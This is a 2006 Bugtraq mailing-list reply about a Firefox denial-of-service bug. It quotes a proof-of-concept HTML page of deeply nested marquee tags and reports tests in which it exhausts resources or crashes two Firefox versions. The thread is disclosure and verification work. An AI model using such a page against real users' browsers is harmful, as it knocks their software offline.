bugtraq - Re: Fire fox dos exploit

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Date: Wed, 31 May 2006 13:14:41 -0700
From: Phil Trainor <ptrainor@...erfectnetworks.com>
To: Josh Zlatin-Amishav <josh@...s.co.il>
Cc: co296@....com, bugtraq@...urityfocus.com
Subject: Re: Fire fox dos exploit


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I was able to use this proof of concept code with the following results:

With Firefox 1.0.8 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.13)
Gecko/20060418 Fedora/1.0.8-1.1.fc4 Firefox/1.0.8)
I was able to cause a resource exhaustion with firefox increasing cpu
cycles and memory allocation well beyond normal utilization but without
crashing.

With Firefox 1.5.0.3 (Mozilla/5.0 (X11; U; Linux i686; en-US;
rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3)
Firefox causes resource exhaustion to the point of crashing the application.

Josh Zlatin-Amishav wrote:
> On Tue, 30 May 2006, co296@....com wrote:
> 
>> I have found a problem which causes denial of service on fire fox browser
> 
> 
> Can you give us some more details, like versions and platforms affected?
> I was unable to recreate this flaw using firefox 1.5.dfsg+1.5.0 on
> Debian unstable.
> 
> -- 
>  - Josh
> 
>>
>> Creadit:to n00b for finding this bug..
>>
>> the problem lie's in the
>>
>> <marquee> html tag uses 100% cpu and crash's the browser..
>>
>> Following proof of concept available
>>
>> <html>
>> <head>
>> <title>Credit to n00b..</title>
>> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
>> </head>
>>
>> <body>
>> <marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee><marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></mar
 quee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></mar
q
>>
> 
> ue
> 
>> e></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee></marquee>
>>
>> </body>
>> </html>
>>
>>
> 
> 
> 

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